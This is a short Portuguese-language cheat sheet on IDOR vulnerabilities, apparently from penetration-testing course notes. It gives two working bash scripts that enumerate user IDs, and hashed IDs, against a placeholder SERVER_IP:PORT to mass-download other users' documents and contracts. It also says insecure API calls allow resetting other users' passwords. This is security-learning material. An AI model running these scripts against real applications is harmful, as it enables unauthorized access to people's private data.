# IDOR

Vulnerabilidades IDOR ocorrem quando um aplicativo web expõe uma referência direta a um objeto, como um arquivo ou um recurso de banco de dados, que o usuário final pode controlar diretamente para obter acesso a outros objetos semelhantes.

#### Enumeração de IDOR em massa

* Podemos usar um `for`loop simples para percorrer o `uid`parâmetro e retornar o documento de todos os funcionários e, em seguida, usar o `wget`link para baixar cada documento:

```bash
#!/bin/bash

url="http://SERVER_IP:PORT"

for i in {1..10}; do
        for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
                wget -q $url/$link
        done
done
```

#### Ignorando referências codificadas

* Enumeração em massa

```shell-session
for i in {1..10}; do echo -n $i | base64 -w 0 | md5sum | tr -d ' -'; done
```

* Em seguida, podemos fazer uma `POST`solicitação `download.php`com cada um dos hashes acima como `contract`valor, o que deve nos dar nosso script final:

```bash
#!/bin/bash

for i in {1..10}; do
    for hash in $(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); do
        curl -sOJ -X POST -d "contract=$hash" http://SERVER_IP:PORT/download.php
    done
done
```

#### IDOR em APIs inseguras

#### Explorando APIs inseguras

* Enquanto `IDOR Information Disclosure Vulnerabilities`nos permite ler vários tipos de recursos, `IDOR Insecure Function Calls`nos permite chamar APIs ou executar funções como outro usuário. Essas funções e APIs podem ser usadas para alterar informações privadas de outro usuário, redefinir a senha de outro usuário ou até mesmo comprar itens usando as informações de pagamento de outro usuário.&#x20;
